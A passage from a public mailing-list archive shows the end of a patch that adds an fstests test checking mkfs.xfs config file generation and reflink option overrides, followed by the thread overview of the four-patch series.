$tmp.spaceman4a >> $seqres.full + echo "*** db config4a" >> $seqres.full + cat $tmp.db4a >> $seqres.full + +fi + +if grep -q 'reflink=1' "$tmp.db3"; then + # t5a: make sure that cli can override defaults + _scratch_mkfs -c defaults=$tmp.db3 -m reflink=0 >> $seqres.full + _scratch_xfs_db -c "makecfg $tmp.db5a" + grep -q 'reflink=0' "$tmp.db5a" || \ + echo "db config5a should not have reflink" + + echo "*** db config5a" >> $seqres.full + cat $tmp.db5a >> $seqres.full + + # t5b: make sure that cli cannot override config file + _scratch_mkfs -c options=$tmp.db3 -m reflink=0 >> $seqres.full 2>> $tmp.fail + grep -q 'reflink option respecified' $tmp.fail || \ + echo "mkfs should have failed on config5b" + + # t5c: make sure that config file can override defaults + _scratch_mkfs -c options=$tmp.db3,defaults=$tmp.db3 >> $seqres.full + _scratch_xfs_db -c "makecfg $tmp.db5c" + grep -q 'reflink=1' "$tmp.db5c" || \ + echo "db config5c should have reflink" + + echo "*** db config5c" >> $seqres.full + cat $tmp.db5c >> $seqres.full +fi + +echo Silence is golden +_exit 0 diff --git a/tests/xfs/1909.out b/tests/xfs/1909.out new file mode 100644 index 00000000000000..c17c5522d48db4 --- /dev/null +++ b/tests/xfs/1909.out @@ -0,0 +1,2 @@ +QA output created by 1909 +Silence is golden ^ permalink raw reply related [flat|nested] 11+ messages in thread
end of thread, other threads:[~2026-10-08 14:47 UTC | newest] Thread overview: 11+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-09-28 15:36 [PATCHSET] fstests: new tests for old features Darrick J. Wong 2026-09-28 15:36 ` [PATCH 1/4] generic: regression test for refluxfs fixes Darrick J. Wong 2026-10-08 14:45 ` Zorro Lang 2026-09-28 15:36 ` [PATCH 2/4] common/xfs: add zoned/rtstart info to mkfs filter output Darrick J. Wong 2026-10-01 12:27 ` Andrey Albershteyn 2026-10-05 12:57 ` Christoph Hellwig 2026-10-08 14:47 ` Zorro Lang 2026-09-28 15:36 ` [PATCH 3/4] xfs: basic functional testing of media verification command Darrick J. Wong 2026-10-01 12:44 ` Andrey Albershteyn 2026-10-05 12:57 ` Christoph Hellwig 2026-09-28 15:36 ` [PATCH 4/4] xfs: test mkfs.xfs config file generation Darrick J. Wong
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox